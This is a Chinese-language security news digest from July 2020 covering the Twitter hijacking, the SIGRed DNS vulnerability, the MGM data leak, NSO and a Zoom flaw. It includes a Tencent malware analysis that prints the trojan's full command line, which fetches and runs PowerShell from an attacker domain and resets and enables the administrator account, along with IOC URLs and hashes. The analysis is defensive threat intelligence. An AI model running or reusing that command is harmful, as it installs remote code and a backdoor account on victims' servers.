安全快讯Top News

Twitter 否认用户密码在攻击中泄露 但仍在恢复相关帐号

新浪科技讯 北京时间7月17日早间消息,据外媒报道,Twitter表示,在周三针对该公司内部工具的大规模攻击中,“没有证据”表明用户的密码被盗,不过Twitter仍在努力恢复对被锁定帐号的访问。Twitter在周四下午发布的一系列消息中分享了相关进展。 在此次攻击中,攻击者劫持了Twitter上的多个大号,包括美国前总统奥巴马、前副总统拜登、埃隆·马斯克、比尔·盖茨和坎耶·韦斯特,并发布比特币骗局。Twitter周三决定锁定多个账号,以防止进一步损失。在周四发布的Twitter消息中,关于为什么要锁定这些帐号,Twitter公布了更多细节。 Twitter表示:“出于高度谨慎,同时作为我们昨天保护用户安全的响应措施的一部分,我们锁定了所有在过去30天内尝试改密码的帐号。”不过,即使帐号被锁定,也“并不一定意味着”帐号的密码泄露。Twitter认为,实际上只有“一小部分”被锁定的帐号受到影响。 Twitter表示,正“尽快”恢复相关帐号的访问权限,但可能还需要更多时间。 尽管Twitter认为密码没有泄露,但目前尚不清楚,攻击者是否能获取相关帐号的私信消息。除锁定一些帐号以外,Twitter还在黑客攻击的几小时内,彻底禁用了所有加v帐号发布消息的功能。不过,在设置限制的情况下,加v帐号仍可以转发现有消息。 Twitter周三发布消息称,该公司的内部工具在此次攻击中被攻破。在周三晚的一条消息中,Twitter表示:“我们相信,我们探测到协同社交工程攻击。攻击成功将我们的一些员工作为目标,这些员工拥有内部系统和工具的权限。”匿名的消息人士表示,Twitter员工帮助他们获得了帐号,其中一人称,他们向Twitter员工付钱以获得帮助。(维金)     (稿源:新浪科技,封面源自网络。)

CISA 勒令联邦机构 24 小时内安装补丁 修复 Windows 严重漏洞

美国国土安全部(DHS)下属的网络安全部门本周四发布行政令,要求联邦民用机构立即对新发现的 Windows 漏洞 SIGRed 进行安全修复,理由是该漏洞对这些的机构的安全构成了“不可接受的重大风险”。 这是 DHS 下属的网络安全和基础设施安全局(Cybersecurity and Infrastructure Security Agency,简称CISA)有史以来发布的第三道命令,要求各大机构在 24 小时内对用于域名系统的 Windows 服务器打补丁,或者部署其他的缓解方案。机构内并非用于 DNS,但受影响的服务器要在7月24日前打上补丁。 在指令是非常紧迫性的,CISA 强调:“基于该漏洞被利用的可能性,受影响软件在整个联邦企业中的广泛使用,机构信息系统被破坏的可能性很高,以及成功破坏的严重影响”。 Check Point的研究人员发现了Windows DNS的安全漏洞,并在5月份向微软报告。如果不打补丁,就会使Windows服务器容易受到攻击,不过微软指出,目前还没有发现这个缺陷被利用的证据。 “DNS服务器漏洞是一件非常严重的事情,”Check Point的漏洞研究团队负责人Omri Herscovici警告说。”这些漏洞类型只有少数几个发布过。每一个使用微软基础设施的组织,无论大小,如果不打补丁,都会面临重大安全风险,最坏的后果将是整个企业网络的彻底破坏。这个漏洞在微软的代码中已经存在了17年以上;既然我们能够发现这个漏洞,那么别人也已经发现了这个漏洞也不是不可能。”     (稿源:cnBeta,封面源自网络。)

Twitter 大规模黑客攻击或将演变成全球安全危机

新浪科技讯 北京时间7月16日午间消息,据外媒报道,比特币骗子不会是最后一个盗取认证账户的人——我们应该保持警惕,因为还会有其他人来盗取我们的账户。 一切皆在意料之中。 2020年7月15日的黑客攻击事件,是Twitter公司历史上最严重的一次安全破坏事件。无论公司最终怎么讲述这次事件,有一点必须承认,危机早在几年前就已经开始酝酿。 从2018年春季开始,骗子已经在冒充知名加密货币爱好者伊隆·马斯克(Elon Musk)。他们使用马斯克的头像,选择一个相似的用户名,然后发布一条仿佛天上掉馅饼一般的有效邀请:借给他一些加密货币,他会还你更多。有时候,诈骗者会回复一个已经连接且经过认证的账户(例如马斯克的SpaceX),好让假账户看上去更真实。骗子还会通过僵尸网络散播虚假推文,也是为了增加真实性。 2018年的事件让我们看到三件事。第一,总会有人上当受骗,每一次有人上当受骗,都足以激发进一步诈骗;第二,Twitter对这种威胁的处理缓慢,远不及该公司一早许下的会严肃对待这些问题的承诺;第三,诈骗者的需求与Twitter最初采取的反击措施形成一场猫捉老鼠游戏,进而鼓动不法分子采取更激进的行动来制造破坏。 于是就有了今天的最大规模攻击事件。尼克·斯塔特(Nick Statt)报道说: “大型公司和个人的Twitter账户最近遭遇该平台上有史以来最大规模的黑客攻击。所有攻击都是为了推广比特币骗局,而且始作俑者似乎还从中赚到了一小笔钱。我们不知道攻击是如何发生的,也不知道Twitter自己的系统受到多大程度的损害。黑客似乎已经消停,但认证账号从东部时间下午四点开始陆续发布新的诈骗推文,一直持续两个多小时。沉默了一个多小时候,Twitter终于承认了黑客攻击时间,东部时间5点45分的时候在公司的用户支持账户上写道:‘我们已经获悉影响我们平台用户的安全事件。我们正在调查并积极采取措施应对攻击。我们会尽快向大家提供最新信息。’” 包括前总统巴拉克·奥巴马(Barack Obama),乔·拜登(Joe Biden),亚马逊首席执行官杰夫·贝佐斯(Jeff Bezos),比尔·盖茨(Bill Gates)和流行歌手坎耶·韦斯特(Kanye West)等人以及苹果和优步等科技公司的认证帐户受到黑客攻击。 但他们都是后来的事情。最早受到攻击的名人账户,是谁呢?伊隆·马斯克,毫无疑问。 黑客攻击的前几个小时内,上当受骗的人们一共向黑客送上了11.8万多美元。另外,黑客可能还访问了大量的个人直接消息。更令人不安的是,黑客攻击展开的速度和规模,还有更深层次的国家安全问题。 当然,最首要也是最显著的一个问题是,攻击的始作俑者是谁,他们是如何做到的?截至发稿时,我们还没有答案。根据安全记者约瑟夫·考克斯(Joseph Cox)的报道,地下黑客社区的成员之间分享的屏幕截图显示,有人可以访问Twitter内部用于管理账户的工具。考克斯写道:   “两名地下黑客社区的信源向媒体提供了一个内部控制面板的屏幕截图,据称Twitter的员工就是使用这个内部控制面板管理用户账户。一名消息人士称,Twitter的这个控制面板也用来更改某些所谓OG账户的所有权。Twitter已经删除了这些控制面板的截图,并暂停了发布这些截图的用户账户,称内容违反社区规则。” 继续揣测难免显得不负责任,但考克斯的报告至少已经说明这不是一起简单普通的黑客攻击事件。一种可能的情况是,黑客攻破了Twitter的内部工具;考克斯还提出了另一种可能,Twitter员工中有内鬼,参与了这次攻击——若果真如此,那Twitter真是年内中彩两次了。 但不管是哪种情况,Twitter对这次事件的回应带来进一步的困扰。该公司最早就此事而发布的推文基本没提到任何实质性内容,两小时后Twitter简单地表示:公司已经禁用了认证账户的发推功能,或者已经重置了他们的密码,同时公司正在努力调查攻击的根本原因。但是就在Twitter说明情况之前,许多用户已经被迫发现,他们发不出推文了。 政客、名人和国家新闻媒体这会都发不了推文倒是给Twitter省了些公关麻烦,虽然普通用户的调侃挺欢乐,但细想一下更严重的问题还在后头。Twitter,无论好坏,始终是全球最重要的通信系统之一,它的用户中有很多与紧急医疗服务机构相关。例如,伊利诺伊州林肯国家气象局在认证账户被禁言前,刚刚发布了一条龙卷风警告。那些依赖这个账号了解龙卷风后续情况的用户们,这下可能要倒霉了。 当然,Twitter禁止认证账户发言也是不得已为之。人们大概宁愿国家气象服务发不了推,也不会希望黑客把账户卖给不法分子然后后者乘机登录账户发布一些虚假信息,比如谎称龙卷费席卷了美国各大城市等等。但是用这种笨拙的方法来解决问题——禁止35.9万个认证账户中的大部分账户发布消息——反映出这次事件的影响范围之广。 然后你不由得会想,如果下一次这么干的不是贪婪的比特币骗子,而是国家级别的人物或者精神病患者,公司会采取什么样的应急措施。这次事件后,不难想象,如果有人控制了某个世界领导人的账户然后试图发动核战争,也未尝没有可能。 在这一点上,密苏里州共和党参议员乔什·霍利(Josh Hawley)在写给Twitter首席执行官杰克·多西的信中提到的内容,十分能引起共鸣。霍利说: “我担心该事件不仅仅是一系列有计划有预谋的独立黑客攻击事件,更是对Twitter自身安全性的一次成功攻击。正如你所知,你的数百万用户不仅依赖你的服务公开发布推文,也使用你的直接消息服务私下里互相交流。对你系统服务器的成功攻击将对所有用户的隐私与数据安全构成威胁。” 不过,霍利也没有说全面。这里,不仅是用户隐私和数据安全面临威胁。更重要的是,Twitter上的冒名顶替和欺诈极有可能引起现实世界中的动乱。直到今天,我们已经看到这种假设已真实发生。随着距离2020年大选只剩不到四个月时间,天知道到底会发生什么。 接下来几天,Twitter可能会调查安全事件的起因。该公司可能无法给出完全令人满意的解释。但重要的是,Twitter及时与公众分享它对这次事件所了解到的一切——以及公司日后会采取哪些措施避免这样的事情再次发生。(小白)     (稿源:新浪科技,封面源自网络。)

攻击 Twitter 的黑客骗到 12 万美元比特币 一半已转移

新浪科技讯 北京时间7月16日上午消息,当地时间15日,Twitter遭遇史上最大规模的网络攻击,数十位政商界知名人士账号被盗,黑客在他们的账户上发布了骗取比特币的推文。一家比特币追踪公司称,黑客骗取了价值至少12万美元的比特币,这些资产中超过一半已经被转移到其他账户中。 这起骗局的幕后黑手侵入了包括亚马逊首席执行官杰夫·贝索斯和特斯拉创始人埃隆·马斯克在内的部分企业高管的Twitter账号,并在这些账号上发布信息,要求Twitter用户将比特币直接转到三个账号中的其中一个上。黑客还承诺会对汇入的比特币加倍返还。在汇入账号的12万美元中,大约6.5万美元已经被转移到了其他比特币账号地址,其中一个账号在过去一直保持活跃,并在美国一家交易所注册。黑客在这起诈骗案中获得的资金约有一半来自美国,四分之一来自欧洲,其余则来自亚洲。 对资金进行追踪将帮助到调查人员,因为美国交易所通常都会对用户进行严格的身份验证,因此很可能会有账号的姓名信息。但搜寻嫌犯需要时间,并且具有挑战性,这取决于黑客们下一步如何做,也取决于他们如何套现。如果他们试图利用一个受到监管的美国交易所,那么找到他们将很容易。但如果这些嫌犯试图通过不受监管的小型交易所来套现,那么找到他们将会变得非常困难。 虽然比特币很难追踪,但已经有一些追踪公司在从事这项业务,以帮助执法部门。交易所和其他供应商也已经开始收集更多的客户信息。执法机构在过去已经多次对被盗比特币进行过成功追踪。 除了一些著名政商领袖,本次黑客还成功侵入了许多加密公司,比如双子星交易所(Gemini exchange)。 美国最大的比特币交易所Coinbase已经开始阻止用户向黑客账户汇款。Coinbase发言人埃利奥特·萨瑟斯(Elliott Suthers)说:“我们已将黑客账号列入了黑名单。“ 双子星交易所的发言人说,他们也封锁了黑客的账户。目前,随着有关这起诈骗事件的消息开始成为头条新闻,向诈骗账号汇款的速度已经放慢。 比特币是一个对诈骗犯很有吸引力的标的物,因为它可以在全球范围内使用。虽然比特币的价格在新冠病毒爆发之初有所下降,但此后又开始回升,自年初以来已上涨约30%。(樵风)     (稿源:新浪科技,封面源自网络。)

微软警告 Windows DNS 服务器存在重大漏洞 如不重视可能形成蠕虫攻击

微软警告称,该公司将一个17年前的Windows DNS服务器关键漏洞列为 “可蠕虫”。这样的漏洞可能允许攻击者创建特殊的恶意软件,在Windows服务器上远程执行代码,并创建恶意的DNS查询,甚至最终可能导致企业和关键部门的基础设施被入侵。 访问MSRC报告: https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ “蠕虫漏洞有可能在没有用户交互的情况下,通过恶意软件在易受攻击的计算机之间传播,”微软首席安全项目经理Mechele Gruhn解释说。”Windows DNS服务器是一个核心网络组件。虽然目前还不知道这个漏洞是否被用于主动攻击,但客户必须尽快应用Windows更新来解决这个漏洞。” Check Point的研究人员发现了Windows DNS的安全漏洞,并在5月份向微软报告。如果不打补丁,就会使Windows服务器容易受到攻击,不过微软指出,目前还没有发现这个缺陷被利用的证据。 今天,在所有被支持的Windows Server版本中都提供了修复该漏洞的补丁,但系统管理员必须在恶意行为者根据该漏洞制造恶意软件之前,尽快给服务器打上补丁。 “DNS服务器漏洞是一件非常严重的事情,”Check Point的漏洞研究团队负责人Omri Herscovici警告说。”这些漏洞类型只有少数几个发布过。每一个使用微软基础设施的组织,无论大小,如果不打补丁,都会面临重大安全风险,最坏的后果将是整个企业网络的彻底破坏。这个漏洞在微软的代码中已经存在了17年以上;既然我们能够发现这个漏洞,那么别人也已经发现了这个漏洞也不是不可能。” Windows 10和其他客户端版本的Windows不受该漏洞的影响,因为它只影响微软的Windows DNS Server实现。微软还发布了一个基于注册表的工作方法,以防止管理员无法快速修补服务器时紧急处理缺陷。 微软在通用漏洞评分系统(CVSS)上给出了10分的最高风险分,强调了问题的严重性。作为对比,WannaCry攻击所使用的漏洞在CVSS上的评分为8.5分。     (稿源:cnBeta,封面源自网络。)

永恒之蓝下载器最新变种重启EXE文件攻击,新变种已感染1.5万台服务器

感谢腾讯御见威胁情报中心来稿! 原文链接:https://mp.weixin.qq.com/s/YXnmVzAFVD5fc6lQIFWE1A   一、背景 腾讯安全威胁情报中心检测到永恒之蓝下载器木马再次出现新变种,此次变种利用Python打包EXE可执行文件进行攻击,该组织曾在2018年底使用过类似手法。腾讯安全大数据监测数据显示,永恒之蓝下载器最新变种出现之后便迅速传播,目前已感染约1.5万台服务器,中毒系统最终用于下载运行门罗币挖矿木马。 永恒之蓝下载器木马在不断演进更新过程中,曾将EXE攻击方式逐步切换到利用Powershell脚本实现无文件攻击。在其功能越来越庞大之后,该黑产团伙再次将永恒之蓝漏洞攻击利用、mssql爆破攻击的代码重新添加到EXE木马中,并对Powershell中相关代码进行屏蔽。 被本次变种攻击失陷后的系统会下载if.bin、下载运行由随机字符串命名的EXE攻击模块进行大规模的漏洞扫描和攻击传播,同时会下载门罗币挖矿木马占用服务器大量CPU资源挖矿,会给受害企业造成严重生产力损失。 腾讯安全专家建议企业网管参考腾讯安全响应清单,对企业网络资产进行安全检测,以及时消除永恒之蓝下载器木马的破坏活动: 应用 场景 安全产品 解决方案 威 胁 情 报 腾讯T-Sec 威胁情报云查服务 (SaaS) 1)永恒之蓝下载器木马黑产团伙相关IOCs已入库。 各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics 腾讯T-Sec 高级威胁追溯系统 1)永恒之蓝下载器木马黑产团伙相关信息和情报已支持检索。 网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts 云原生安全 防护 云防火墙 (Cloud Firewall,CFW) 基于网络流量进行威胁检测与主动拦截,已支持: 1)利用永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796相关联的IOCs已支持识别检测; 2)支持下发访问控制规则封禁目标端口,主动拦截永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796洞相关访问流量。 有关云防火墙的更多信息,可参考: https://cloud.tencent.com/product/cfw 腾讯T-Sec  主机安全 (Cloud Workload Protection,CWP) 1)云镜已支持永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796的检测; 2)已支持查杀利用永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796、Redis未授权访问漏洞入侵的挖矿木马、后门程序。 腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp 腾讯T-Sec 漏洞扫描服务 (Vulnerability Scan Service,VSS) 1)腾讯漏洞扫描服务(VSS)已支持监测全网资产是否受永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796影响。 2)已集成无损检测POC,企业可以对自身资产进行远程检测。 关于腾讯T-Sec漏洞扫描服务的更多信息,可参考:https://cloud.tencent.com/product/vss 腾讯T-Sec 安全运营中心 基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。 关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html 非云企业安全防护 腾讯T-Sec 高级威胁检测系统 (腾讯御界) 基于网络流量进行威胁检测,已支持: 1)利用永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796相关联的IOCs已支持识别检测; 2)对利用永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796协议特征进行识别检测; 关于T-Sec高级威胁检测系统的更多信息,可参考: https://cloud.tencent.com/product/nta 腾讯T-Sec终端安全管理系统(御点) 1)可查杀永恒之蓝下载器木马团伙入侵释放的后门木马、挖矿木马程序; 2)企业终端管理系统已支持检测黑产利用永恒之蓝漏洞MS17-010、SMBGhost漏洞CVE-2020-0796入侵相关的网络通信。 3)企业终端管理系统已支持检测利用Lnk漏洞CVE-2017-8464、Office漏洞CVE-2017-8570攻击的病毒程序; 腾讯御点提供企业终端的防毒杀毒、防入侵、漏洞管理、基线管理等能力,关于T-Sec终端安全管理系统的更多资料,可参考:https://s.tencent.com/product/yd/index.html 更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/ 附:永恒之蓝下载器木马历次版本更新情况如下: 时间 主要功能更新 2018年12月14日 利用“驱动人生”系列软件升级通道下载,利用“永恒之蓝”漏洞攻击传播。 2018年12月19日 下载之后的木马新增Powershell后门安装。 2019年1月9日 检测到挖矿组件xmrig-32.mlz/xmrig-64.mlz下载。 2019年1月24日 木马将挖矿组件、升级后门组件分别安装为计划任务,并同时安装Powershell后门。 2019年1月25日 木马在1月24日的基础上再次更新,将攻击组件安装为计划任务,在攻击时新增利用mimikatz搜集登录密码,SMB弱口令爆破攻击,同时安装Powershell计划任务和hta计划任务。 2019年2月10日 将攻击模块打包方式改为Pyinstaller。 2019年2月20日 更新矿机组件,下载释放XMRig矿机,以独立进程启动挖矿。 2019年2月23日 攻击方法再次更新,新增MsSQL爆破攻击。 2019年2月25日 在2月23日基础上继续更新,更新MsSQL爆破攻击时密码字典,添加样本文件签名。至此攻击方法集成永恒之蓝漏洞攻击、SMB爆破攻击、MsSQL爆破攻击,同时使用黑客工具mimiktaz、psexec进行辅助攻击。 2019年3月6日 通过已感染机器后门更新Powershell脚本横向传播模块ipc。 2019年3月8日 通过已感染机器后门更新PE文件横向传播模块ii.exe,采用无文件攻击技术。该团伙使用的Powershell攻击代码与2018年9月发现的Mykings僵尸网络变种攻击代码有诸多相似之处。 2019年3月14日 通过后门更新增肥木马大小、生成随机文件MD5逃避查杀,将生成的大文件木马拷贝到多个系统目录并通过注册表启动项、开始菜单启动项、计划任务进自启动。 2019年3月28日 更新无文件攻击模块,更后新的攻击方式为:永恒之蓝漏洞攻击、弱口令爆破+WMIC、 Pass the hash+ SMBClient/SMBExec,并通过Payload安装计划任务将木马具有的多个恶意程序进行下载。 2019年4月3日 开创无文件挖矿新模式:挖矿脚本由PowerShell下载在内存中执行。 2019年7月19日 无文件攻击方法新增CVE-2017-8464 Lnk漏洞利用攻击,感染启动盘和网络共享盘,新增MsSQL爆破攻击。 2019年10月9日 新增Bluekeep漏洞CVE-2019-0708检测上报功能。 2020年2月12日 使用DGA域名,篡改hosts文件。 2020年4月3日 新增钓鱼邮件传播,邮件附件urgent.doc包含Office漏洞CVE-2017-8570。 2020年4月17日 钓鱼邮件新增附件readme.zip、readme.doc,新增Bypass UAC模块7p.php,创建readme.js文件感染可移动盘、网络共享盘 2020年5月21日 新增SMBGhost漏洞CVE-2020-0796检测上报功能,新增SSH爆破代码(未调用)。 2020年6月10日 新增SMBGhost漏洞CVE-2020-0796利用攻击,新增SSH爆破、Redis爆破攻击Linux服务器并植入Linux平台挖矿木马。 2020年6月24日 重新使用Python打包EXE攻击模块20.dat(C:\Windows\Temp\<random>.exe),负责永恒之蓝漏洞攻击、$IPC、SMB、mssql爆破攻击,其他攻击方式仍然通过Powershell实现。 二、样本分析 永恒之蓝下载器木马在Powershell攻击代码中,将扫描445端口进行攻击的$IPC爆破和永恒之蓝漏洞利用攻击功能进行了屏蔽。但以下功能仍然保留: 1.“永恒之蓝”漏洞利用MS17-010 2.Lnk漏洞利用CVE-2017-8464 3.Office漏洞利用CVE-2017-8570 4.RDP爆破 5.感染可移动盘、网络磁盘 6.钓鱼邮件(使用新冠病毒疫情相关主题) 7.SMBGhost漏洞利用CVE-2020-0796 8.SSH爆破攻击Linux系统 9.Redis未授权访问漏洞攻击Linux系统 然后在攻击后执行的Payload中添加一行代码,负责下载和执行EXE攻击模块 http[:]//d.ackng.com/ode.bin。 Ode.bin是经过加密的Powershell代码,解密后的内容主要完成以下功能: 生成4到8位字符组成的随机字符串作为文件名<random>.exe; 从http[:]//167.71.87.85/20.dat下载文件保存至C:\Windows\Temp\<random>.exe; 如果符合权限则创建计划任务”\Microsoft\Windows\<random>.exe “每50分钟执行一次20.dat,如果不符合权限则创建C:\Windows\Temp\\tt.vbs,通过VBS脚本代码创建计划任务“<random>.exe “,同样每50分钟执行一次20.dat。 通过计划任务执行的20.dat(拷贝至C:\Windows\Temp\<random>.exe md5: ef3a4697773f84850fe1a086db8edfe0)实际上是由Python代码打包的扫描攻击模块,与永恒之蓝下载器病毒2018年底第一次出现时的攻击模块C:\WINDOWS\Temp\svvhost.exe相似(参考https://www.freebuf.com/news/192015.html)。 该病毒在后来的逐步发展过程中,逐步将攻击代码转移到了Powershell实现,并且利用计划任务来动态获取和启动,不会在磁盘上留下文件,也就是“无文件攻击”模式攻击。而此次病毒重新启动exe攻击模块,可能是因为其功能不断扩展,需要将一部分代码进行分割,切割后的攻击模块及功能如下图所示。 If.bin中的Powershell攻击代码与上个版本相同,此处不再分析,分割出的xxx.exe中解码出Python实现的永恒之蓝漏洞攻击代码如下,另外还会执行$IPC、SMB、mssql弱口令爆破攻击: 攻击成功后执行shellcode 1、 下载和执行Powershell代码gim.jsp; 2、 修改administrator账户登陆密码为k8d3j9SjfS7并激活administrator账户; 3、 添加防火墙规则允许65529端口访问并开启监听。 cmd.exe /c netsh.exe firewall add portopening tcp 65529 DNS&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&powershell IEX(New-Object Net.WebClient).DownloadString(‘http[:]//t.amynx.com/gim.jsp’)&net user administrator k8d3j9SjfS7&net user administrator /active:yes gim.jsp是经过加密的Powershell代码,首先检测系统是否安装了以下杀软,如有调用卸载程序进行卸载: Eset、Kaspersky、avast、avp、Security、AntiVirus、Norton Security、Anti-Malware 然后安装一个计划任务“blackball”和一个随机名计划任务,定期下载和执行a.jsp(a.jsp继续下载和执行挖矿和攻击模块)。 IOCs Domain info.zz3r0.com info.amynx.com w.zz3r0.com IP 167.71.87.85 URL http[:]//167.71.87.85/20.dat http[:]//d.ackng.com/ode.bin http[:]//d.ackng.com/if.bin http[:]//t.amynx.com/gim.jsp http[:]//t.amynx.com/smgho.jsp http[:]//t.amynx.com/a.jsp md5 C:\Windows\Temp\<random>.exe ef3a4697773f84850fe1a086db8edfe0 8ec20f2cbad3103697a63d4444e5c062 ac48b1ea656b7f48c34e66d8e8d84537 d61d88b99c628179fa7cf9f2a310b4fb f944742b01606605a55c1d55c469f0c9 abd6f640423a9bf018853a2b40111f76 57812bde13f512f918a0096ad3e38a07 d8e643c74996bf3c88325067a8fc9d78 125a6199fd32fafec11f812358e814f2 fb880dc73e4db0a43be8a68ea443bfe1 8d46dbe92242a4fde2ea29cc277cca3f 48fbe4b6c9a8efc11f256bda33f03460 gim.jsp 98f48f31006be66a8e07b0ab189b6d02 a.jsp 6bb4e93d29e8b78e51565342b929c824 ode.bin e009720bd4ba5a83c4b0080eb3aea1fb if.bin 092478f1e16cbddb48afc3eecaf6be68 smgho.jsp ca717602f0700faba6d2fe014c9e6a8c 参考链接: 《“黑球”行动再升级,SMBGhost漏洞攻击进入实战》 https://mp.weixin.qq.com/s/ZoiKCTEaxhXIXsI4OzhWvA

超过 1.42 亿美高梅酒店客人详细资料在暗网上出售

一个数据泄露,影响的人比最初报道的多得多。这就是美高梅国际酒店集团发现自己的情况,在2019年的一次黑客攻击中,最初说影响了1060万客人,现在相信已经涉及超过1.42亿人。早在2月份,就有报道称,超过1060万名入住美高梅国际娱乐平台酒店的个人资料被公布在一个黑客论坛上。 现在,暗网上出现了一则广告,提供142479937名美高梅酒店客人的详细资料,价格仅为2900多美元,之后人们发现实际要价要高得多。据称,这些信息包括名人和政府雇员的数据,包括姓名、地址、电子邮件、电话号码和出生日期。美高梅表示,财务信息、身份证或社会安全号码以及酒店住宿细节都不在此次漏洞之列。ZDNet联系了一些过去的酒店客人,确认名单的准确性。 美高梅的细节来自于去年该酒店的一次数据泄露,一名黑客未经授权访问了一个云端服务器,其中包含了以往客人的信息。该连锁店表示,已经按照国家法律的要求,通知了所有受影响的人。发布广告的人声称,这些数据实际上来自于数据泄露监测服务DataViper最近的一次攻击,但该公司否认拥有一份完整的美高梅数据库,并表示黑客试图破坏该公司的声誉。 米高梅表示,它一直都知道有多少客人的数据在此次泄密事件中被泄露,但法律上并没有要求它透露这个数字。美高梅国际酒店集团知道去年夏天之前报道的这起事件影响范围,并且已经处理了这一情况。令人惊讶的是,实际受影响的客人数量可能会更多,俄罗斯黑客论坛上的帖子称,名单上有2亿人的详细信息。     (稿源:cnBeta,封面源自网络。)

印度拟设监管机构 限制谷歌脸书等巨头的数据主导地位

网易科技讯 7月13日消息,据外媒报道,印度政府任命的一个专家委员会建议,印度需要设立新的数据监管机构来监督在线收集信息的共享、货币化和隐私等问题,以此限制谷歌、Facebook、亚马逊以及Uber等美国科技巨头的在线数据主导地位。 这个由8名专家组成的委员会提交报告称,市场力量本身不会从数据中为社会带来最大的效益,而新的监管机构必须解决由此产生的关键问题。报告建议,这个机构必须确保所有利益相关者遵守规则,在提出合法请求时提供数据,评估重新识别匿名个人数据的风险,并帮助为企业创造公平的竞争环境。 这份文件称Facebook、亚马逊、Uber以及谷歌等美国科技巨头具有先发优势,是网络效应的受益者,导致许多新进入者和初创企业受到挤压,面临巨大的进入壁垒。监管机构在促进数据共享方面的设想角色将是减轻这些影响,并刺激创新、经济增长和社会福祉。 随着世界各国加强国内数据保护,印度正在起草和加强管理其蓬勃发展的数字经济的政策。印度已经颁布了管理个人数据使用的法案,最新报告还建议通过立法增加对非个人数据的监管。非个人数据是指不包括姓名、年龄或地址等可用于识别个人身份的信息,它还包括那些最初是私人的、但后来被聚合成为匿名数据的信息。 报告中提议的规则将管理数据的收集、分析、分享以及销毁。报告称,此举的目的是为现有企业提供洞察力,并鼓励创建新业务,从而发掘数据的“巨大”社会和公共价值。 委员会建议为那些收集、处理、存储或以其他方式管理数据的公司创建新的“数据业务”分类。这些公司包括健康、电商、互联网和技术服务公司,委员会在起草报告之前曾咨询过它们。数据业务被设想为涵盖各个行业部门。   (稿源:cnBeta,封面源自网络。)

以色列法院裁决 NSO 仍可继续出口间谍软件

据外媒报道,当地时间本周一,臭名昭著的间谍软件公司NSO集团在以色列法院上取得重大胜利,对此,批评者称这是一项不光彩的裁决。据了解,法院最终裁决NSO可以继续出口其黑客与监控工作,理由是人权组织Amnesty International未能证明NSO客户使用这些技术监视Amnesty员工。 据Motherboard当时报道,2018年,Amnesty宣称发现黑客使用NSO间谍软件监视其机构的一名研究人员。事件发生后,该组织在以色列起诉了NSO并试图阻止其监视技术出口。然而特拉维夫地区法院的一名法官以该公司未能出具足够的证据驳回了这一请求并还表示负责监督监视技术出口的以色列国防部拥有适当的保障措施来保护人权。 Amnesty严厉指责了这项裁决。Amnesty Tech代理联合总监Danna Ingleton表示:“今天这个可耻的裁决是对NSO集团将其产品卖给臭名昭著的人权侵犯者而使全世界处于危险中的人们的一残酷打击。在NSO和以色列国防部应该为他们的行为负责的时候,法院却没有这样做,这令人震惊。NSO集团将继续从侵犯人权行为中获利而不受惩罚。法院的裁决公然无视NSO集团的间谍软件被用来攻击从沙特阿拉伯到墨西哥的人权捍卫者的大量证据以及本案的基础–我们自己的Amnesty员工。我们将继续尽我们所能阻止NSO组织的间谍软件被用来侵犯人权。” 而NSO显然为这次胜利感到高兴。“这一判决是无可辩驳的证据,它证明了我们所处的监管框架是符合最高的国际标准的。结合NSO行业领先的治理框架,我们在正确使用技术和尊重人权方面上是全球领导者的这一事实得到了巩固。恐怖分子和犯罪分子的高级加密使得NSO向授权得到许可验的政府机构提供的这种合法和适当的响应成为必要。”   (稿源:cnBeta,封面源自网络。)

Zoom 爆出一个只影响 Windows 7 及以下版本的远程代码执行漏洞

安全研究人员在Windows的Zoom客户端中发现了一个远程代码执行漏洞,从目前来看,只有安装了Windows 7的系统才会真正暴露在风险之下。在Zoom实际解决该漏洞之前,安全公司0patch先行发布了针对该漏洞的微补丁,该公司解释说,这一漏洞的危险性较高,远程攻击者只需说服用户执行一个简单的动作,比如打开一个文件,就可以利用该漏洞。 一旦恶意文件被加载,攻击者就可以发起RCE攻击,而受害者的电脑上不会显示任何警告。虽然该漏洞存在于所有Windows版本的Zoom客户端中,但只有Windows 7电脑会受到威胁。 “这个漏洞只在Windows 7和更早的Windows版本上可以利用。它很可能在Windows Server 2008 R2和更早的版本上也可以利用,尽管我们没有测试;但是无论是哪个系统,我们的微补丁都会保护你,无论你在哪里使用Zoom Client,”0patch指出。 随后,Zoom在其Windows客户端的5.1.3版本中修补了这个错误。之前安装了0patch发布的微补丁的用户在应用Zoom官方修复版时不需要做任何事情,因为微补丁本身会自动失效。 这个漏洞表明,始终运行受到支持的Windows版本是多么重要。Windows 7的官方支持在今年1月结束,这意味着这款来自2009年的操作系统不再能够从微软获得任何新的更新和安全补丁。额外的修复程序是通过定制的安全更新(收费提供)或使用0patch等第三方产品来运送的。     (稿源:cnBeta,封面源自网络。)